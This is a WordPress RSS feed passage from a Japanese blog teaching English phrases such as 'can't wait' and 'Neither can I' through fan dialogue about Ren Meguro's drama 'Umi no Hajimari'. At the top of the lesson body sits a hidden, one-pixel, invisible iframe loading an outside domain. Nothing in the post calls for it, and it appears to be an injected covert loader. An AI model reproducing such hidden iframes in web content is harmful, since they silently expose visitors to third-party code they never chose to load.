<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/11/18/feel/' title='本動詞をマスター！Feelで気分を伝えてみよう！'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/feel-678x381-1-678x381-1.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/feel-678x381-1-678x381-1.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/feel-678x381-1-678x381-1.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/feel-678x381-1-678x381-1.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">本動詞をマスター！Feelで気分を伝えてみよう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/04/20/kissinmylips/' title='Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://post.tv-asahi.co.jp/post-131170/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4666</post-id>	</item>
		<item>
		<title>【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</title>
		<link>https://ffeng.jp/2024/06/01/uminohajimari/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Fri, 31 May 2024 16:13:07 +0000</pubDate>
				<category><![CDATA[Buzzwords]]></category>
		<category><![CDATA[こんな時、どういうの？]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[ジャンル別]]></category>
		<category><![CDATA[ホットトピック]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[日本文化を英語で伝えよう]]></category>
		<category><![CDATA[映画・テレビ]]></category>
		<category><![CDATA[注目コラム]]></category>
		<category><![CDATA[＃最新ハッシュタグ事情]]></category>
		<category><![CDATA[addicted to]]></category>
		<category><![CDATA[attractive]]></category>
		<category><![CDATA[bias]]></category>
		<category><![CDATA[big fan]]></category>
		<category><![CDATA[big hit]]></category>
		<category><![CDATA[binge-watching]]></category>
		<category><![CDATA[can't wait]]></category>
		<category><![CDATA[crazy]]></category>
		<category><![CDATA[cute]]></category>
		<category><![CDATA[drama series]]></category>
		<category><![CDATA[drop-dead]]></category>
		<category><![CDATA[extra]]></category>
		<category><![CDATA[fal ling down the rabbit hole]]></category>
		<category><![CDATA[fan of the whole group]]></category>
		<category><![CDATA[fave]]></category>
		<category><![CDATA[filming location]]></category>
		<category><![CDATA[go down a rabbit hole]]></category>
		<category><![CDATA[good-looking]]></category>
		<category><![CDATA[gorgeous]]></category>
		<category><![CDATA[handsome]]></category>
		<category><![CDATA[hot]]></category>
		<category><![CDATA[leading role]]></category>
		<category><![CDATA[marathon-watching]]></category>
		<category><![CDATA[Meguro]]></category>
		<category><![CDATA[Meme]]></category>
		<category><![CDATA[mixed feelings]]></category>
		<category><![CDATA[precious]]></category>
		<category><![CDATA[ren megueo]]></category>
		<category><![CDATA[silent]]></category>
		<category><![CDATA[Snow Man]]></category>
		<category><![CDATA[stan]]></category>
		<category><![CDATA[Star]]></category>
		<category><![CDATA[stunningly]]></category>
		<category><![CDATA[stylish]]></category>
		<category><![CDATA[Trillion Game]]></category>
		<category><![CDATA[Umi no Hajimari]]></category>
		<category><![CDATA[の大ファン]]></category>
		<category><![CDATA[はまっている]]></category>
		<category><![CDATA[めちゃくちゃ好き]]></category>
		<category><![CDATA[めめ]]></category>
		<category><![CDATA[めめにガチ恋してるけどスノーマン]]></category>
		<category><![CDATA[めめ沼]]></category>
		<category><![CDATA[エキストラ]]></category>
		<category><![CDATA[ガチ恋]]></category>
		<category><![CDATA[クランクイン]]></category>
		<category><![CDATA[ゴージャス]]></category>
		<category><![CDATA[サイレント]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[セクシー]]></category>
		<category><![CDATA[トリリオンゲーム]]></category>
		<category><![CDATA[ドラマトーク]]></category>
		<category><![CDATA[ハンサム]]></category>
		<category><![CDATA[リアコ]]></category>
		<category><![CDATA[ロケ地]]></category>
		<category><![CDATA[一気見]]></category>
		<category><![CDATA[主人公]]></category>
		<category><![CDATA[主役]]></category>
		<category><![CDATA[主演]]></category>
		<category><![CDATA[可愛い]]></category>
		<category><![CDATA[塩対応　cool]]></category>
		<category><![CDATA[夏クール]]></category>
		<category><![CDATA[夢中]]></category>
		<category><![CDATA[尊い]]></category>
		<category><![CDATA[待って、無理、しんどい]]></category>
		<category><![CDATA[推し]]></category>
		<category><![CDATA[推し活]]></category>
		<category><![CDATA[最高]]></category>
		<category><![CDATA[月９ドラマ]]></category>
		<category><![CDATA[沼落ち]]></category>
		<category><![CDATA[海のはじまり]]></category>
		<category><![CDATA[消えた初恋]]></category>
		<category><![CDATA[激推し]]></category>
		<category><![CDATA[目黒蓮]]></category>
		<category><![CDATA[目黒蓮しか勝たん]]></category>
		<category><![CDATA[目黒蓮に沼落ち]]></category>
		<category><![CDATA[目黒蓮主演の新ドラマ「海のはじまり」を早く見たいわ]]></category>
		<category><![CDATA[神対応 unfriendly reaction]]></category>
		<category><![CDATA[箱推し]]></category>
		<category><![CDATA[絶賛]]></category>
		<category><![CDATA[虜]]></category>
		<category><![CDATA[複雑な気持ち　perfect reaction]]></category>
		<category><![CDATA[録画予約]]></category>
		<category><![CDATA[高い評価]]></category>
		<category><![CDATA[魅力的な]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=2730</guid>

					<description><![CDATA[<p>2024年夏クールの月９ドラマ「海のはじまり」の主 <a class="mh-excerpt-more" href="https://ffeng.jp/2024/06/01/uminohajimari/" title="【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？">[...]</a></p>
The post <a href="https://ffeng.jp/2024/06/01/uminohajimari/">【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2026/03/15/ren_meguro_shogun/' title='【推し活英語講座】カナダで頑張ってる目黒蓮さんに英語で応援メッセージを送ろう！使えるフレーズ集'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】カナダで頑張ってる目黒蓮さんに英語で応援メッセージを送ろう！使えるフレーズ集</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[</p>
<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>


<p>2024年夏クールの月９ドラマ「海のはじまり」の主人公に目黒蓮さんが抜擢されましたね。社会現象を巻き起こしたドラマ『silent』の制作チームが再集結すると話題になっています。</p>



<p>今回は「海のはじまり」をテーマに盛り上がれそうな会話やドラマ用語を深掘りします。</p>



<p><strong>Let’s dig deep into the subject!</strong></p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:26px;height:auto"/></figure>



<div class="su-box su-box-style-soft" id="" style="border-color:#cca0a4;border-radius:3px;max-width:none"><div class="su-box-title" style="background-color:#ffd3d7;color:#410303;border-top-left-radius:1px;border-top-right-radius:1px">今回のkeyフレーズ</div><div class="su-box-content su-u-clearfix su-u-trim" style="border-bottom-left-radius:1px;border-bottom-right-radius:1px"> I can’t wait to watch the new tv series “Umi no Hajimari” starring Ren!<br>目黒蓮主演の新ドラマ「海のはじまり」を早く見たいわ！ </div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:73px;height:auto"/></figure>



<h2 class="wp-block-heading">「待ちきれない！」ってなんて言うの？</h2>



<p><strong>S + can&#8217;t wait to/for〜</strong>は、文字通り、<strong>wait(〜を待つ)を否定</strong>することで「<strong>待てない</strong>」と言う意味。<em><strong>とてもワクワクして楽しみにしている、待ちきれない、待ち遠しい、〜したくて堪らない</strong></em>、と簡単に伝えたい時に役立つ表現です。人が主語の場合、これから起きることに対して楽しみという期待の意味を込めて使用することがほとんどです。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fee5e5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fee5e5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait to watch the new TV series “Umi no Hajimari” starring Ren Meguro!</strong><br>目黒蓮主演の新ドラマ「海のはじまり」を早く見たいわ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d8ffff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d8ffff"></span><span class="vk_balloon_content_after "></span>
<p><strong>Same here!</strong><br>私もー！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:40px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f3e6f9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f3e6f9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>“Umi no Hajimari” will start airing in July!</strong><br>「海のはじまり」が7月から始まるね！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ecfde4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ecfde4"></span><span class="vk_balloon_content_after "></span>
<p><strong>Can’t wait!</strong><br>待ちきれないわ！</p>
</div></div></div>



<p>２つ目の会話のように、何を指しているか明確な場合、主語も目的語も省略して使用することもできて便利です。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeaf5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeaf5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait to see Ren every week!</strong><br>毎週、蓮に会えるのが楽しみ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_young_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e2faff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e2faff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait to watch the next episode!</strong><br>次回も楽しみ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff3e2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff3e2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait for July that “Umi no Hajimari” will premire.</strong><br>7月の「海のはじまり」の放送開始が待ち遠しい</p>
</div></div></div>



<p>Wait の後の前置詞が<strong> to </strong>の場合は、<strong>動詞の原形</strong>を、<strong>for</strong> の場合は<strong>名詞</strong>、<strong>代名詞</strong>を使用します。</p>



<p>シンプルに、時間や我慢の限界などネガティブ要素に対する「待てない」という意味で使う場合もありますが、主語やのちに続く文脈から判断します。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_lady_beautiful_people_woman_mother_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d1fded"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d1fded transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>He is running so late. It&#8217;s time to leave so we can&#8217;t wait for him any longer.</strong><br>彼、すごく遅いわね。時間だからもう待ってないで出発しましょう</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:30px;height:auto"/></figure>



<h3 class="wp-block-heading"><strong>Me too（私も） は万能フレーズではない！</strong></h3>



<p>では、<strong>can’t wait </strong>に「私も！」と同意する場合はどのように返答すれば良いでしょうか？</p>



<p><strong>Me too（私も）</strong>を言いたくなってしまいますが、<strong><em>否定型に対して肯定系のMe tooで返答すると、否定の意味</em></strong>になってしまいます。相手が何かを否定したこと（この場合はcan’t）に対して同意する時は<strong>Me neither</strong>や<strong>Neither can I</strong>を使用します。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fcffca"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fcffca transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait to watch the new tv series “Umi no Hajimari” starring Ren!</strong><br>目黒蓮主演の新ドラマ「海のはじまり」を早く見たいわ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d0ffec"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d0ffec"></span><span class="vk_balloon_content_after "></span>
<p><strong>Me neither! ／ Neither can I!</strong><br>私もー！</p>
</div></div></div>



<p>もし、難しいと感じた場合は、<strong>Same here</strong>、<strong>Same with me（同じく）</strong>や、<strong>Agree</strong>、<strong>Agree with you（あなたに賛同します）</strong>と返答すると簡単です！</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<h3 class="wp-block-heading"><strong>can&#8217;t waitの違う表現方法もあります！</strong></h3>



<p><strong>can&#8217;t wait</strong>と同等の意味で表現してみましょう。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f4e0ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f4e0ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">am so excited to </mark>watch “Umi no Hajimari” in the beginning of July!</strong><br>7月上旬から始まる「海のはじまり」を見るのが楽しみ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_bobtay_people_woman_teenager_avatar_smiley-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e9f7ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e9f7ff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">am looking forward to watching</mark> “Umi no Hajimari” in the beginning of July!</strong><br>7月上旬から始まる「海のはじまり」を見るのが楽しみ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>


<table style="height: 184px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to star</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">主演する　</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to air</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を放送する</td>
</tr>
